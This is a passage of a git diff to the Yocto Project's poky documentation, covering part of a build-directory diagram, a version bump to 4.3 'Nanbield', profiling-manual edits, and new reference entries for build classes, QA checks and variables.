data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 15px;">This variable is used to separate recipes<br />based on their target. This has value of<br /><b><u>${PACKAGE_ARCH}${TARGET_VENDOR}-${TARGET_OS}</u></b><br /></span></div></div></div></foreignObject><text x="1100" y="379" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This variable is used to separate recipes...</text></switch></g><path d="M 6588 660 Q 6863.43 660 6863.4 505.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 6863.39 484.47 L 6872.73 512.47 L 6863.4 505.47 L 6854.06 512.47 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="6148" y="620" width="440" height="80" rx="12" ry="12" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 165px; margin-left: 1538px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">conf-notes.txt</div></div></div></foreignObject><text x="1592" y="169" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">conf-notes.txt</text></switch></g><path d="M 2580.02 520 Q 2580 660 3042.53 660" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 3063.53 660 L 3035.53 669.33 L 3042.53 660 L 3035.53 650.67 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 2374 440 Q 2215.43 440.57 2215.04 205.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 2215.01 184.47 L 2224.39 212.46 L 2215.04 205.47 L 2205.72 212.49 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="2374" y="360" width="412.04" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 101px; height: 1px; padding-top: 110px; margin-left: 595px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">sstate-cache</font></div></div></div></foreignObject><text x="645" y="114" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sstate-cache</text></switch></g><rect x="2643.92" y="480" width="332.04" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 81px; height: 1px; padding-top: 133px; margin-left: 662px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">SSTATE_DIR</font></div></div></div></foreignObject><text x="702" y="136" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">SSTATE_DIR</text></switch></g><rect x="8927.96" y="3440" width="360" height="110" rx="16.5" ry="16.5" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 88px; height: 1px; padding-top: 874px; margin-left: 2233px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">sayhello</div></div></div></foreignObject><text x="2277" y="877" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello</text></switch></g><path d="M 4660 1960 Q 4660 2300 4904.57 2300 Q 5149.14 2300 5148.94 2611.65" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 5148.92 2632.65 L 5139.61 2604.64 L 5148.94 2611.65 L 5158.27 2604.65 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="3068" y="480" width="1640" height="360" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 408px; height: 1px; padding-top: 165px; margin-left: 768px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 15px;">This folder contains cache for recipes build output, this is used by BitBake, if the recipe checksum did not change it knows that the output to use is the same.<br /></span></div></div></div></foreignObject><text x="972" y="169" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This folder contains cache for recipes build output, this is used by...</text></switch></g><rect x="1395" y="0" width="1640" height="180" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 408px; height: 1px; padding-top: 23px; margin-left: 350px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 15px;"><font data-font-src="https://fonts.googleapis.com/css?family=Liberation+Sans">These directories can be shared accross builds to save disk space and build time</font><br /></span></div></div></div></foreignObject><text x="554" y="26" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">These directories can be shared accross builds to save disk space an...</text></switch></g><rect x="7768" y="350" width="1667.52" height="180" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 415px; height: 1px; padding-top: 110px; margin-left: 1943px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">This directory contains other output directories such as <b><u>images</u></b>, <b><u>sdk</u></b> and <b><u>licenses</u></b><br /></font></div></div></div></foreignObject><text x="2150" y="114" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This directory contains other output directories such as images, sdk...</text></switch></g><rect x="5908" y="1020" width="680" height="520" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 168px; height: 1px; padding-top: 320px; margin-left: 1478px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">This file contains all <b>layers</b> that BitBake should consider when looking for metadata.<br /></font></div></div></div></foreignObject><text x="1562" y="324" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This file contains all layer...</text></switch></g><rect x="5396" y="20" width="1760" height="160" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 438px; height: 1px; padding-top: 25px; margin-left: 1350px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">This is base configuration file containing essential user config such as <b><u>MACHINE</u></b> and <b><u>DISTRO</u></b><br /></font></div></div></div></foreignObject><text x="1569" y="29" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This is base configuration file containing essential user config such as...</text></switch></g><rect x="6140" y="320" width="964.52" height="160" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 239px; height: 1px; padding-top: 100px; margin-left: 1536px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">The message to show after <b>source oe-init-build-env</b><br /></font></div></div></div></foreignObject><text x="1656" y="104" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">The message to show after source oe-init...</text></switch></g><rect x="10948" y="2400" width="120" height="80" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><rect x="10348" y="3065" width="80" height="80" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><rect x="9948" y="3700" width="100" height="80" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><rect x="10028" y="2200" width="80" height="80" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><rect x="7454" y="725" width="80" height="80" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/></g><switch><g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/><a transform="translate(0,-5)" xlink:href="https://www.drawio.com/doc/faq/svg-export-text-problems" target="_blank"><text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot display</text></a></switch></svg> \ No newline at end of file
diff --git a/poky/documentation/poky.yaml.in b/poky/documentation/poky.yaml.in
index 2922214bc9..7a686ac4e1 100644
--- a/poky/documentation/poky.yaml.in
+++ b/poky/documentation/poky.yaml.in
@@ -1,10 +1,10 @@
-DISTRO : "4.2"
-DISTRO_NAME_NO_CAP : "mickledore"
-DISTRO_NAME : "Mickledore"
-DISTRO_NAME_NO_CAP_MINUS_ONE : "langdale"
+DISTRO : "4.3"
+DISTRO_NAME_NO_CAP : "nanbield"
+DISTRO_NAME : "Nanbield"
+DISTRO_NAME_NO_CAP_MINUS_ONE : "mickledore"
DISTRO_NAME_NO_CAP_LTS : "kirkstone"
-YOCTO_DOC_VERSION : "4.2"
-DISTRO_REL_TAG : "yocto-4.2"
+YOCTO_DOC_VERSION : "4.3"
+DISTRO_REL_TAG : "yocto-4.3"
DOCCONF_VERSION : "dev"
BITBAKE_SERIES : ""
YOCTO_DL_URL : "https://downloads.yoctoproject.org"
diff --git a/poky/documentation/profile-manual/intro.rst b/poky/documentation/profile-manual/intro.rst
index 93f8429ee3..86310cf318 100644
--- a/poky/documentation/profile-manual/intro.rst
+++ b/poky/documentation/profile-manual/intro.rst
@@ -7,43 +7,45 @@ Yocto Project Profiling and Tracing Manual
Introduction
============
-Yocto bundles a number of tracing and profiling tools --- this 'HOWTO'
+Yocto Project bundles a number of tracing and profiling tools --- this manual
describes their basic usage and shows by example how to make use of them
-to examine application and system behavior.
+to analyze application and system behavior.
-The tools presented are for the most part completely open-ended and have
+The tools presented are, for the most part, completely open-ended and have
quite good and/or extensive documentation of their own which can be used
to solve just about any problem you might come across in Linux. Each
section that describes a particular tool has links to that tool's
documentation and website.
-The purpose of this 'HOWTO' is to present a set of common and generally
+The purpose of this manual is to present a set of common and generally
useful tracing and profiling idioms along with their application (as
appropriate) to each tool, in the context of a general-purpose
'drill-down' methodology that can be applied to solving a large number
-(90%?) of problems. For help with more advanced usages and problems,
-please see the documentation and/or websites listed for each tool.
+of problems. For help with more advanced usages and problems,
+refer to the documentation and/or websites provided for each tool.
-The final section of this 'HOWTO' is a collection of real-world examples
-which we'll be continually adding to as we solve more problems using the
-tools --- feel free to add your own examples to the list!
+The final section of this manual is a collection of real-world examples
+which we'll be continually updating as we solve more problems using the
+tools --- feel free to suggest additions to what you read here.
General Setup
=============
-Most of the tools are available only in 'sdk' images or in images built
-after adding 'tools-profile' to your local.conf. So, in order to be able
-to access all of the tools described here, please first build and boot
-an 'sdk' image e.g. ::
+Most of the tools are available only in ``sdk`` images or in images built
+after adding ``tools-profile`` to your ``local.conf`` file. So, in order to be able
+to access all of the tools described here, you can build and boot
+an ``sdk`` image, perhaps one of::
$ bitbake core-image-sato-sdk
+ $ bitbake core-image-weston-sdk
+ $ bitbake core-image-rt-sdk
-or alternatively by adding 'tools-profile' to the :term:`EXTRA_IMAGE_FEATURES` line in
-your local.conf::
+Alternatively, you can add ``tools-profile`` to the :term:`EXTRA_IMAGE_FEATURES` line in
+your ``local.conf`` file::
EXTRA_IMAGE_FEATURES = "debug-tweaks tools-profile"
-If you use the 'tools-profile' method, you don't need to build an sdk image -
+If you use the ``tools-profile`` method, you don't need to build an sdk image ---
the tracing and profiling tools will be included in non-sdk images as well e.g.::
$ bitbake core-image-sato
@@ -64,12 +66,12 @@ the tracing and profiling tools will be included in non-sdk images as well e.g.:
If you've already built a stripped image, you can generate debug
packages (xxx-dbg) which you can manually install as needed.
-To generate debug info for packages, you can add dbg-pkgs to
-:term:`EXTRA_IMAGE_FEATURES` in local.conf. For example::
+To generate debug info for packages, you can add ``dbg-pkgs`` to
+:term:`EXTRA_IMAGE_FEATURES` in ``local.conf``. For example::
EXTRA_IMAGE_FEATURES = "debug-tweaks tools-profile dbg-pkgs"
-Additionally, in order to generate the right type of debuginfo, we also need to
+Additionally, in order to generate the right type of debug info, we also need to
set :term:`PACKAGE_DEBUG_SPLIT_STYLE` in the ``local.conf`` file::
PACKAGE_DEBUG_SPLIT_STYLE = 'debug-file-directory'
diff --git a/poky/documentation/ref-manual/classes.rst b/poky/documentation/ref-manual/classes.rst
index 3f0d4844e8..a8afe9f2dc 100644
--- a/poky/documentation/ref-manual/classes.rst
+++ b/poky/documentation/ref-manual/classes.rst
@@ -281,6 +281,19 @@ tool.
This class inherits the :ref:`ref-classes-cargo_common` class.
+.. _ref-classes-cargo_c:
+
+``cargo_c``
+===========
+
+The :ref:`ref-classes-cargo_c` class can be inherited by a recipe to generate
+a Rust library that can be called by C/C++ code. The recipe which inherits this
+class has to only replace ``inherit cargo`` by ``inherit cargo_c``.
+
+See the :yocto_git:`rust-c-lib-example_git.bb
+</poky/tree/meta-selftest/recipes-devtools/rust/rust-c-lib-example_git.bb>`
+example recipe.
+
.. _ref-classes-cargo_common:
``cargo_common``
@@ -370,7 +383,9 @@ preferred CMake Module directory: ``${D}${datadir}/cmake/modules/``.
========
The :ref:`ref-classes-cml1` class provides basic support for the Linux kernel style
-build configuration system.
+build configuration system. "cml" stands for "Configuration Menu Language", which
+originates from the Linux kernel but is also used in other projects such as U-Boot
+and BusyBox. It could have been called "kconfig" too.
.. _ref-classes-compress_doc:
@@ -1480,6 +1495,9 @@ Here are the tests you can list with the :term:`WARN_QA` and
also inherits :ref:`ref-classes-features_check` in order for the
requirement to actually work.
+- ``unimplemented-ptest:`` Checks that ptests are implemented for upstream
+ tests.
+
- ``unlisted-pkg-lics:`` Checks that all declared licenses applying
for a package are also declared on the recipe level (i.e. any license
in ``LICENSE:*`` should appear in :term:`LICENSE`).
@@ -1776,9 +1794,10 @@ class.
=========
The :ref:`ref-classes-meson` class allows to create recipes that build software
-using the `Meson <https://mesonbuild.com/>`__ build system. You can use
-the :term:`MESON_BUILDTYPE` and :term:`EXTRA_OEMESON` variables to specify
-additional configuration options to be passed using the ``meson`` command line.
+using the `Meson <https://mesonbuild.com/>`__ build system. You can use the
+:term:`MESON_BUILDTYPE`, :term:`MESON_TARGET` and :term:`EXTRA_OEMESON`
+variables to specify additional configuration options to be passed using the
+``meson`` command line.
.. _ref-classes-metadata_scm:
diff --git a/poky/documentation/ref-manual/features.rst b/poky/documentation/ref-manual/features.rst
index d6307f1a2f..dd14339bc2 100644
--- a/poky/documentation/ref-manual/features.rst
+++ b/poky/documentation/ref-manual/features.rst
@@ -52,8 +52,6 @@ Project metadata:
- *alsa:* Hardware has ALSA audio drivers
-- *apm:* Hardware uses APM (or APM emulation)
-
- *bluetooth:* Hardware has integrated BT
- *efi:* Support for booting through EFI
@@ -225,6 +223,10 @@ metadata, as extra layers can define their own:
reduced shell overhead, and other features. This ``init`` manager is
used by many distributions.
+- *systemd-resolved:* Include support and use ``systemd-resolved`` as the
+ main DNS name resolver in ``glibc`` Name Service Switch. This is a DNS
+ resolver daemon from ``systemd``.
+
- *usbgadget:* Include USB Gadget Device support (for USB
networking/serial/storage).
diff --git a/poky/documentation/ref-manual/qa-checks.rst b/poky/documentation/ref-manual/qa-checks.rst
index 4a02e7206a..58526a0e57 100644
--- a/poky/documentation/ref-manual/qa-checks.rst
+++ b/poky/documentation/ref-manual/qa-checks.rst
@@ -789,6 +789,17 @@ Errors and Warnings
use a relative path rather than an absolute one, or to pick up the path from
runtime configuration or environment variables.
+.. _qa-check-unimplemented-ptest:
+
+- ``<tool> tests detected [unimplemented-ptest]``
+
+ This check will detect if the source of the package contains some
+ upstream-provided tests and, if so, that ptests are implemented for this
+ recipe. See the ":ref:`dev-manual/packages:testing packages with ptest`"
+ section in the Yocto Project Development Tasks Manual. See also the
+ ":ref:`ref-classes-ptest`" section.
+
+
Configuring and Disabling QA Checks
===================================
diff --git a/poky/documentation/ref-manual/svg/releases.svg b/poky/documentation/ref-manual/svg/releases.svg
index 5333498d1f..198d4632b1 100644
--- a/poky/documentation/ref-manual/svg/releases.svg
+++ b/poky/documentation/ref-manual/svg/releases.svg
@@ -404,15 +404,15 @@
guidetolerance="10"
inkscape:pageopacity="0"
inkscape:pageshadow="2"
- inkscape:window-width="1846"
- inkscape:window-height="1016"
+ inkscape:window-width="1920"
+ inkscape:window-height="1043"
id="namedview4"
showgrid="true"
- inkscape:zoom="0.51166405"
- inkscape:cx="-43.974166"
- inkscape:cy="311.72798"
- inkscape:window-x="1994"
- inkscape:window-y="27"
+ inkscape:zoom="1.4472045"
+ inkscape:cx="736.24703"
+ inkscape:cy="312.32629"
+ inkscape:window-x="1728"
+ inkscape:window-y="0"
inkscape:window-maximized="1"
inkscape:current-layer="g10"
inkscape:document-rotation="0"
@@ -669,28 +669,28 @@
style="font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;font-size:13.3333px;font-family:'Liberation Sans';-inkscape-font-specification:'Liberation Sans Bold';text-align:center;text-anchor:middle;fill:#fffefe;fill-opacity:1;stroke:none"
id="tspan10317-2-9-1-4">4.2</tspan></text>
<g
- id="g32107">
+ id="g1379">
<rect
- style="opacity:0.75;fill:#333333;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:2;stroke-opacity:1"
- id="rect917-0-0-4-4-9-4-5-3"
- width="140.00014"
+ style="fill:#333333;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:2;stroke-opacity:1"
+ id="rect917-0-0-4-4-9-4-5-38"
+ width="140.00003"
height="45.000004"
- x="1199.9999"
- y="-229.99998"
+ x="1220"
+ y="-230.00005"
ry="2.2558987" />
<text
xml:space="preserve"
style="font-weight:bold;font-size:13.3333px;line-height:125%;font-family:'Nimbus Roman';-inkscape-font-specification:'Nimbus Roman, Bold';letter-spacing:0px;word-spacing:0px;writing-mode:lr-tb;fill:#fffefe;fill-opacity:1;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1"
- x="1247.2329"
+ x="1269.2329"
y="-210.32925"
id="text1185-3-55-4-0-0-0-1-1"><tspan
sodipodi:role="line"
- x="1247.2329"
+ x="1269.2329"
y="-210.32925"
style="font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;font-size:13.3333px;font-family:'Liberation Sans';-inkscape-font-specification:'Liberation Sans Bold';text-align:center;text-anchor:middle;fill:#fffefe;fill-opacity:1;stroke:none"
id="tspan957-2-8-6-3-9-7-4">Nanbield</tspan><tspan
sodipodi:role="line"
- x="1247.2329"
+ x="1269.2329"
y="-192.33258"
style="font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;font-size:13.3333px;font-family:'Liberation Sans';-inkscape-font-specification:'Liberation Sans Bold';text-align:center;text-anchor:middle;fill:#fffefe;fill-opacity:1;stroke:none"
id="tspan10317-2-9-1-4-6">4.3</tspan></text>
diff --git a/poky/documentation/ref-manual/variables.rst b/poky/documentation/ref-manual/variables.rst
index 11523bb9e7..b394d31099 100644
--- a/poky/documentation/ref-manual/variables.rst
+++ b/poky/documentation/ref-manual/variables.rst
@@ -1358,6 +1358,32 @@ system and gives an overview of their function and contents.
speed since the build system skips parsing recipes not compatible
with the current machine.
+ If one wants to have a recipe only available for some architectures
+ (here ``aarch64`` and ``mips64``), the following can be used::
+
+ COMPATIBLE_MACHINE = "^$"
+ COMPATIBLE_MACHINE:arch64 = "^(aarch64)$"
+ COMPATIBLE_MACHINE:mips64 = "^(mips64)$"
+
+ The first line means "match all machines whose :term:`MACHINEOVERRIDES`
+ contains the empty string", which will always be none.
+
+ The second is for matching all machines whose :term:`MACHINEOVERRIDES`
+ contains one override which is exactly ``aarch64``.
+
+ The third is for matching all machines whose :term:`MACHINEOVERRIDES`
+ contains one override which is exactly ``mips64``.
+
+ The same could be achieved with::
+
+ COMPATIBLE_MACHINE = "^(aarch64|mips64)$"
+
+ .. note::
+
+ When :term:`COMPATIBLE_MACHINE` is set in a recipe inherits from
+ native, the recipe is always skipped. All native recipes must be
+ entirely target independent and should not rely on :term:`MACHINE`.
+
:term:`COMPLEMENTARY_GLOB`
Defines wildcards to match when installing a list of complementary
packages for all the packages explicitly (or implicitly) installed in
@@ -1698,7 +1724,8 @@ system and gives an overview of their function and contents.
It has the format "reason: description" and the description is optional.
The Reason is mapped to the final CVE state by mapping via
- :term:`CVE_CHECK_STATUSMAP`
+ :term:`CVE_CHECK_STATUSMAP`. See :ref:`dev-manual/vulnerabilities:fixing vulnerabilities in recipes`
+ for details.
:term:`CVE_STATUS_GROUPS`
If there are many CVEs with the same status and reason, they can by simplified by using this
@@ -2459,6 +2486,16 @@ system and gives an overview of their function and contents.
external tools. See the :ref:`ref-classes-kernel-yocto` class in
``meta/classes-recipe`` to see how the variable is used.
+ :term:`KERNEL_LOCALVERSION`
+ This variable allows to append a string to the version
+ of the kernel image. This corresponds to the ``CONFIG_LOCALVERSION``
+ kernel configuration parameter.
+
+ Using this variable is only useful when you are using a kernel recipe
+ inheriting the :ref:`ref-classes-kernel` class, and which doesn't
+ already set a local version. Therefore, setting this variable has no
+ impact on ``linux-yocto`` kernels.
+
:term:`EXTERNAL_TOOLCHAIN`
When you intend to use an
:ref:`external toolchain <dev-manual/external-toolchain:optionally using an external toolchain>`,
@@ -3765,9 +3802,9 @@ system and gives an overview of their function and contents.
:term:`IMAGE_POSTPROCESS_COMMAND`
Specifies a list of functions to call once the OpenEmbedded build
system creates the final image output files. You can specify
- functions separated by semicolons::
+ functions separated by spaces::
- IMAGE_POSTPROCESS_COMMAND += "function; ... "
+ IMAGE_POSTPROCESS_COMMAND += "function"
If you need to pass the root filesystem path to a command within the
function, you can use ``${IMAGE_ROOTFS}``, which points to the
@@ -3778,9 +3815,9 @@ system and gives an overview of their function and contents.
:term:`IMAGE_PREPROCESS_COMMAND`
Specifies a list of functions to call before the OpenEmbedded build
system creates the final image output files. You can specify
- functions separated by semicolons::
+ functions separated by spaces::
- IMAGE_PREPROCESS_COMMAND += "function; ... "
+ IMAGE_PREPROCESS_COMMAND += "function"
If you need to pass the root filesystem path to a command within the
function, you can use ``${IMAGE_ROOTFS}``, which points to the
@@ -4333,17 +4370,16 @@ system and gives an overview of their function and contents.
This variable is also used from the kernel's append file to identify
the kernel branch specific to a particular machine or target
hardware. Continuing with the previous kernel example, the kernel's
- append file (i.e. ``linux-yocto_4.12.bbappend``) is located in the
+ append file is located in the
BSP layer for a given machine. For example, the append file for the
- Beaglebone, EdgeRouter, and generic versions of both 32 and 64-bit IA
+ Beaglebone and generic versions of both 32 and 64-bit IA
machines (``meta-yocto-bsp``) is named
- ``meta-yocto-bsp/recipes-kernel/linux/linux-yocto_4.12.bbappend``.
+ ``meta-yocto-bsp/recipes-kernel/linux/linux-yocto_6.1.bbappend``.
Here are the related statements from that append file::
- KBRANCH:genericx86 = "standard/base"
- KBRANCH:genericx86-64 = "standard/base"
- KBRANCH:edgerouter = "standard/edgerouter"
- KBRANCH:beaglebone = "standard/beaglebone"
+ KBRANCH:genericx86 = "v6.1/standard/base"
+ KBRANCH:genericx86-64 = "v6.1/standard/base"
+ KBRANCH:beaglebone-yocto = "v6.1/standard/beaglebone"
The :term:`KBRANCH` statements
identify the kernel branch to use when building for each supported
@@ -4718,6 +4754,10 @@ system and gives an overview of their function and contents.
to the :term:`KERNEL_SRC` variable. Both variables are common variables
used by external Makefiles to point to the kernel source directory.
+ :term:`KERNEL_STRIP`
+ Allows to specific which ``strip`` command to use to strip the kernel
+ binary, typically either GNU binutils ``strip`` or ``llvm-strip``.
+
:term:`KERNEL_VERSION`
Specifies the version of the kernel as extracted from ``version.h``
or ``utsrelease.h`` within the kernel sources. Effects of setting
@@ -5075,7 +5115,6 @@ system and gives an overview of their function and contents.
MACHINE ?= "genericx86"
MACHINE ?= "genericx86-64"
MACHINE ?= "beaglebone"
- MACHINE ?= "edgerouter"
The last five are Yocto Project reference hardware
boards, which are provided in the ``meta-yocto-bsp`` layer.
@@ -5280,6 +5319,11 @@ system and gives an overview of their function and contents.
you to specify the inclusion of debugging symbols and the compiler
optimizations (none, performance or size).
+ :term:`MESON_TARGET`
+ A variable for the :ref:`ref-classes-meson` class, allowing to choose
+ a Meson target to build in :ref:`ref-tasks-compile`. Otherwise, the
+ default targets are built.
+
